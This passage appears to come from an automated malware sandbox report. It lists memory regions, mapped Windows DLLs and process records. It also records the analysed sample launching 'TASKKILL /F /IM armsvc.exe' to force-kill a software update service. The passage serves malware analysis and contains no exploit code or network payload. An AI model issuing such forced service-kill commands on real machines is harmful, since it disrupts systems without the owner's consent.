0x430000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1979 start_va = 0x500000 end_va = 0x680fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 1980 start_va = 0x7e0000 end_va = 0x1bdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1981 start_va = 0x1be0000 end_va = 0x1c9ffff entry_point = 0x1be0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1982 start_va = 0x1e00000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1983 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1984 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1985 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1986 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a830000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 1987 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a890000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 1988 start_va = 0x1d60000 end_va = 0x1d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 1989 start_va = 0x1e40000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 1990 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a800000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 1991 start_va = 0x1d00000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1992 start_va = 0x1f40000 end_va = 0x220efff entry_point = 0x1f40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1993 start_va = 0x2290000 end_va = 0x22cffff entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1994 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1995 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1996 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1997 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 1998 start_va = 0x1cc0000 end_va = 0x1cfffff entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 1999 start_va = 0x1db0000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 2000 start_va = 0x2210000 end_va = 0x224ffff entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 2001 start_va = 0x2360000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 2002 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2003 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2004 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2005 start_va = 0x6a730000 end_va = 0x6a747fff entry_point = 0x6a730000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2006 start_va = 0x6a750000 end_va = 0x6a7e5fff entry_point = 0x6a750000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 130 os_tid = 0xbc8 Thread: id = 131 os_tid = 0xbcc Thread: id = 132 os_tid = 0xbd0 Thread: id = 133 os_tid = 0xbd4 Thread: id = 134 os_tid = 0xbd8 Process: id = "12" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5d318000" os_pid = "0xbec" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x328" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000572c7" [0xc000000f] Region: id = 2010 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2011 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2012 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2013 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2014 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2015 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2016 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2017 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2018 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2019 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2020 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2021 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2022 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2023 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2024 start_va = 0x3f0000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2025 start_va = 0x490000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2026 start_va = 0x4a0000 end_va = 0x627fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 2027 start_va = 0x630000 end_va = 0x7b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2028 start_va = 0x7c0000 end_va = 0x87ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 2029 start_va = 0x8a0000 end_va = 0x91ffff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2030 start_va = 0x930000 end_va = 0x9affff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 2031 start_va = 0x9b0000 end_va = 0xaaffff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2032 start_va = 0xab0000 end_va = 0xd7efff entry_point = 0xab0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2033 start_va = 0xd80000 end_va = 0x1172fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 2034 start_va = 0x11a0000 end_va = 0x121ffff entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 2035 start_va = 0x1260000 end_va = 0x12dffff entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 2036 start_va = 0x14a0000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x00000000014a0000" filename = "" Region: id = 2037 start_va = 0x1550000 end_va = 0x15cffff entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 2038 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x774ba2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2039 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x775b5ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2040 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2041 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2042 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2043 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2044 start_va = 0xff930000 end_va = 0xff98efff entry_point = 0xff930000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2045 start_va = 0x7fef8330000 end_va = 0x7fef8345fff entry_point = 0x7fef8331070 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2046 start_va = 0x7fef85f0000 end_va = 0x7fef8603fff entry_point = 0x7fef85f1070 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2047 start_va = 0x7fef8820000 end_va = 0x7fef882efff entry_point = 0x7fef88211d0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2048 start_va = 0x7fef8830000 end_va = 0x7fef8856fff entry_point = 0x7fef88311a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2049 start_va = 0x7fef88b0000 end_va = 0x7fef8991fff entry_point = 0x7fef88d3814 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2050 start_va = 0x7fef8ad0000 end_va = 0x7fef8b55fff entry_point = 0x7fef8adffd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2051 start_va = 0x7fefc370000 end_va = 0x7fefc39cfff entry_point = 0x7fefc371010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2052 start_va = 0x7fefcbc0000 end_va = 0x7fefcc06fff entry_point = 0x7fefcbc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2053 start_va = 0x7fefcec0000 end_va = 0x7fefced6fff entry_point = 0x7fefcec32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2054 start_va = 0x7fefd5e0000 end_va = 0x7fefd5eefff entry_point = 0x7fefd5e1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2055 start_va = 0x7fefd5f0000 end_va = 0x7fefd603fff entry_point = 0x7fefd5f10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2056 start_va = 0x7fefd970000 end_va = 0x7fefd9dafff entry_point = 0x7fefd9730e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2057 start_va = 0x7fefdbc0000 end_va = 0x7fefdc58fff entry_point = 0x7fefdbc1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2058 start_va = 0x7fefdc60000 end_va = 0x7fefdc8dfff entry_point = 0x7fefdc61010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2059 start_va = 0x7fefdcb0000 end_va = 0x7fefdd01fff entry_point = 0x7fefdcb10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2060 start_va = 0x7fefdd10000 end_va = 0x7fefde3cfff entry_point = 0x7fefdd5ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2061 start_va = 0x7fefdee0000 end_va = 0x7fefdf46fff entry_point = 0x7fefdeeb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2062 start_va = 0x7fefdf50000 end_va = 0x7fefdfeefff entry_point = 0x7fefdf525a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2063 start_va = 0x7fefe070000 end_va = 0x7fefe272fff entry_point = 0x7fefe093330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2064 start_va = 0x7fefe280000 end_va = 0x7fefe287fff entry_point = 0x7fefe281504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2065 start_va = 0x7feff150000 end_va = 0x7feff226fff entry_point = 0x7feff153274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2066 start_va = 0x7feff230000 end_va = 0x7feff27cfff entry_point = 0x7feff231070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2067 start_va = 0x7feff280000 end_va = 0x7feff29efff entry_point = 0x7feff2860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2068 start_va = 0x7feff680000 end_va = 0x7feff75afff entry_point = 0x7feff6a0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2069 start_va = 0x7feff760000 end_va = 0x7feff828fff entry_point = 0x7feff7da874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2070 start_va = 0x7feff830000 end_va = 0x7feff83dfff entry_point = 0x7feff831080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2071 start_va = 0x7feff8c0000 end_va = 0x7feff9c8fff entry_point = 0x7feff8c1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2072 start_va = 0x7feff9e0000 end_va = 0x7feff9e0fff entry_point = 0x7feff9e0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2073 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2074 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2075 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2076 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2077 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2078 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2079 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2080 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2081 start_va = 0x7fffffde000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2082 start_va = 0x7fef85b0000 end_va = 0x7fef85d5fff entry_point = 0x7fef85b7948 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2083 start_va = 0x7fef5800000 end_va = 0x7fef59f9fff entry_point = 0x7fef5800000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 2084 start_va = 0x7fef5b20000 end_va = 0x7fef5b6bfff entry_point = 0x7fef5b20000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2085 start_va = 0x7fefbd80000 end_va = 0x7fefbd90fff entry_point = 0x7fefbd81070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2086 start_va = 0x7fefd4d0000 end_va = 0x7fefd4f4fff entry_point = 0x7fefd4d9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2087 start_va = 0x7fef94c0000 end_va = 0x7fef94c7fff entry_point = 0x7fef94c0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Thread: id = 138 os_tid = 0x818 Thread: id = 139 os_tid = 0x808 Thread: id = 140 os_tid = 0x7f4 Thread: id = 141 os_tid = 0xbfc Thread: id = 142 os_tid = 0xbf8 Thread: id = 143 os_tid = 0xbf4 Thread: id = 144 os_tid = 0xbf0 Thread: id = 145 os_tid = 0x858 Thread: id = 235 os_tid = 0x440 Process: id = "13" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5b1b7000" os_pid = "0x668" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM armsvc.exe /IM armsvc.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2088 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2089 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2090 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2091 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2092 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2093 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2094 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2095 start_va = 0x8a0000 end_va = 0x8b5fff entry_point = 0x8a5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2096 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2097 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2098 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2099 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2100 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2101 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2102 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2103 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2104 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2105 start_va = 0x410000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2106 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2107 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2108 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2109 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2110 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2111 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2112 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2113 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2114 start_va = 0x1f0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2115 start_va = 0x5c0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2116 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2117 start_va = 0x6a990000 end_va = 0x6a9c4fff entry_point = 0x6a9913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2118 start_va = 0x6a9d0000 end_va = 0x6a9defff entry_point = 0x6a9d12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2119 start_va = 0x6a9e0000 end_va = 0x6a9f0fff entry_point = 0x6a9e1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2120 start_va = 0x6aa00000 end_va = 0x6aa0cfff entry_point = 0x6aa011e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2121 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2122 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2123 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2124 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2125 start_va = 0x75330000 end_va = 0x75348fff 